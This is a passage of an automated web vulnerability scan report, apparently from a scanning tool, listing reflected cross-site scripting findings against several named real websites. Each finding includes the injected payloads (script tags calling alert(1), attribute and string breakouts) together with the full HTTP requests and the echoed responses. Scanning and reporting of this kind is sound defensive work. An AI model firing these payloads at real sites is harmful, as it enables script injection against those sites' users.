Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.1.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:28:23 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "abc0c9adf022ca33a1f2ad4295043c2a"
X-Runtime: 2564
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIjpodHRwOi8vd3d3LnNtdHAuY29tLz9nY2xpZD1DSldObV8ySm9xc0NGU2cxZ3dvZENTMF9rUToPc2Vzc2lvbl9pZCIlMjRmOGYyYzQ2ZGFlYjk0OTgzZWI4MTRjZWNkNTZiMGY%3D--e179e22a639ed9356f6574f29195c6f4a2fd9781; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 28745

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/service-info?29ac3"><script>alert(1)</script>cb0b67d5058=1">
...[SNIP]...

2.154. http://www.smtp.com/signup [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smtp.com
Path:	/signup

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d96"><a>ec47253389c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /13d96"><a>ec47253389c HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/service-info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:29:27 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIjJodHRwOi8vd3d3LnNtdHAuY29tL3NtdHBjb20tamFja3BvdC12ZXJ0LnN3Zj86D3Nlc3Npb25faWQiJWUzZDYxYWRmOWJiMWQ4NTVjOWNjMzg1Y2ZhM2U3ODIw--fd32e95ec38334558e2f87ef3f923d0b313e0652; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8284

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/13d96"><a>ec47253389c">
...[SNIP]...

2.155. http://www.smtp.com/smtpcom-jackpot-vert.swf [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smtp.com
Path:	/smtpcom-jackpot-vert.swf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c02ff"><a>c8ca54df0d3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /smtpcom-jackpot-vert.swfc02ff"><a>c8ca54df0d3? HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:27:50 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/smtpcom-jackpot-vert.swfc02ff"><a>c8ca54df0d3?">
...[SNIP]...

2.156. https://www.smtp.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.smtp.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f904e"><a>5c6fa54ebb3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.icof904e"><a>5c6fa54ebb3 HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNToQX2NzcmZfdG9rZW4iMXFTV2pPZHJOUytnSmhmMFBLaFI0OFBqTUxqM3gvUXo5RlIzNGtMWUxKczQ9--2c03a874c155ebb1c45e43460df9f03c37c5c032

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:30:45 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIiVodHRwOi8vd3d3LnNtdHAuY29tL3NlcnZpY2UtaW5mbzoQX2NzcmZfdG9rZW4iMVA4bzBPNkU0cE5BckRzUGpLRzNCOWZGUEhNTkZTUFU2Yk02UHplUVhjbjQ9Og9zZXNzaW9uX2lkIiU1MGQ3NjM5NDgxODc5NjYzZGI4NDRhMmI0ZWUyODk4NQ%3D%3D--bb4ae4ec63b5f1ad8ca37a5b64812391cc4bdcb0; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/favicon.icof904e"><a>5c6fa54ebb3">
...[SNIP]...

2.157. https://www.smtp.com/signup [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.smtp.com
Path:	/signup

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c997"><a>a8c202834f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /signup1c997"><a>a8c202834f3 HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Referer: http://www.smtp.com/service-info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:31:09 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIiVodHRwOi8vd3d3LnNtdHAuY29tL3NlcnZpY2UtaW5mbzoPc2Vzc2lvbl9pZCIlNTBkNzYzOTQ4MTg3OTY2M2RiODQ0YTJiNGVlMjg5ODU6EF9jc3JmX3Rva2VuIjFQOG8wTzZFNHBOQXJEc1BqS0czQjlmRlBITU5GU1BVNmJNNlB6ZVFYY240PQ%3D%3D--2a5966b9bb25ab1c16bb6c9bda97ccc9b62603df; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/signup1c997"><a>a8c202834f3">
...[SNIP]...

2.158. https://www.smtp.com/signup [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/signup

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c681a"><script>alert(1)</script>86fcc655326 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signup?c681a"><script>alert(1)</script>86fcc655326=1 HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Referer: http://www.smtp.com/service-info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:31:07 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "8f226c86b8ab75bfbe2132dea727b9c4"
X-Runtime: 3872
Set-Cookie: _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIiVodHRwOi8vd3d3LnNtdHAuY29tL3NlcnZpY2UtaW5mbzoQX2NzcmZfdG9rZW4iMVA4bzBPNkU0cE5BckRzUGpLRzNCOWZGUEhNTkZTUFU2Yk02UHplUVhjbjQ9Og9zZXNzaW9uX2lkIiU1MGQ3NjM5NDgxODc5NjYzZGI4NDRhMmI0ZWUyODk4NQ%3D%3D--bb4ae4ec63b5f1ad8ca37a5b64812391cc4bdcb0; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 45289

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/signup?c681a"><script>alert(1)</script>86fcc655326=1">
...[SNIP]...

2.159. http://www.thewhir.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thewhir.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb74e"><a>07046d1348c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.icobb74e"><a>07046d1348c HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=130075850.973132951.1316214083.1316214083.1316214083.1; __utmb=130075850.1.10.1316214083; __utmc=130075850; __utmz=130075850.1316214083.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=godaddy%20hack; agf_s=google%7Corganic%7C%28organic%29%7Cgodaddy+hack%23sclient%7C; agf_v=51008903|1; agf_vtt=510089031316214083050|0

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:01:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Type: text/html
Content-Length: 28281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:fb="http://www.facebook.co
...[SNIP]...
<body id="favicon.icobb74e"><a>07046d1348cSection">
...[SNIP]...

2.160. http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thewhir.com
Path:	/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfc5e"><a>cd08598e1ee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /web-hosting-newscfc5e"><a>cd08598e1ee/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:00:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Type: text/html
Content-Length: 28583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:fb="http://www.facebook.co
...[SNIP]...
<body id="web-hosting-newscfc5e"><a>cd08598e1eeSection">
...[SNIP]...

2.161. http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f995'-alert(1)-'2a20e35a8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /web-hosting-news5f995'-alert(1)-'2a20e35a8c/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=godaddy+hack#sclient=psy-ab&hl=en&tbo=1&tbs=qdr:w&source=hp&q=godaddy%20malware%20attack&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&tbo=1&fp=1&biw=1407&bih=1005&pf=p&pdl=500&bav=on.2,or.r_gc.r_pw.&cad=b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:00:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Type: text/html
Content-Length: 28643

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:fb="http://www.facebook.co
...[SNIP]...
<script type="text/javascript" src="http://ad.doubleclick.net/adj/inet.whir/web-hosting-news5f995'-alert(1)-'2a20e35a8c;pos=top;sz=728x90;tile='+inet_tile+';ord=' + inet_ord + '?">
...[SNIP]...

2.162. http://www.ubm.com/en/people/ubm-people.aspx [body_0%24main_0%24ctl02%24ctl01%24ctl00 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/people/ubm-people.aspx

Issue detail

The value of the body_0%24main_0%24ctl02%24ctl01%24ctl00 request parameter is copied into the HTML document as plain text between tags. The payload 5c5ad<script>alert(1)</script>fd240fc5180 was submitted in the body_0%24main_0%24ctl02%24ctl01%24ctl00 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

POST /en/people/ubm-people.aspx HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/people/ubm-people.aspx
Content-Length: 1040
Cache-Control: max-age=0
Origin: http://www.ubm.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.3.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

__VIEWSTATE=Q4qwEBghb7TY6KqTJRID%2BdVEbtvUTDRQXS1R6KhkhRZEWMKSb3Ci9hgSPZDR5Xk%2BLLWor%2BYn%2BME7CvjoDD%2FlEy1UMX2bmHN%2FspajQ78bSNzfePKR%2FD02KYGTunIKcADOvkizBlP%2FgjK5Q%2FSLDkl9ljsL%2FlthnEAZqYtON1Lh
...[SNIP]...
G9kRh48tEUoCNy7Xk6Bwug0XBdtqyCsrQpa1VQmFdhCld4wNjiXPRTMI%2BczkjdJQ7mQ5R9lrgveBXW3xYHiUG%2FWUxgs0hEdhpVSTO78hpq9NPsY1ZPnQU4hfVANjdEI%2B5LFptmwozs%3D&body_0%24main_0%24ctl02%24ctl01%24ctl00=help+contact5c5ad<script>alert(1)</script>fd240fc5180&body_0%24main_0%24ctl02%24ctl02%24ctl00.x=0&body_0%24main_0%24ctl02%24ctl02%24ctl00.y=0&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=J7Qo6GFZ3zrslPXaYz4ux%2FNTIajbhqpvJeyFaPXiCDZ8dnRnphppF1G692B2Hm%2FIOSn
...[SNIP]...

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Fri, 16 Sep 2011 16:45:51 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 20007

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...
<div class="SearchResultHeaderText">
Search Results for: help contact5c5ad<script>alert(1)</script>fd240fc5180
</div>
...[SNIP]...

2.163. http://www.ubm.com/en/site-services/search/search-result.aspx [Domain parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/search-result.aspx

Issue detail

The value of the Domain request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a54a"><script>alert(1)</script>afa1cd40535 was submitted in the Domain parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a"><script>alert(1)</script>afa1cd40535&query=help%20contact HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/people/ubm-people.aspx
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.3.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Fri, 16 Sep 2011 16:45:23 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 19791

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...
<a href="/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a"><script>alert(1)</script>afa1cd40535&query=help contact&page=2">
...[SNIP]...

2.164. http://www.ubm.com/en/site-services/search/search-result.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/search-result.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af5e7"><script>alert(1)</script>b8d3e48110f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

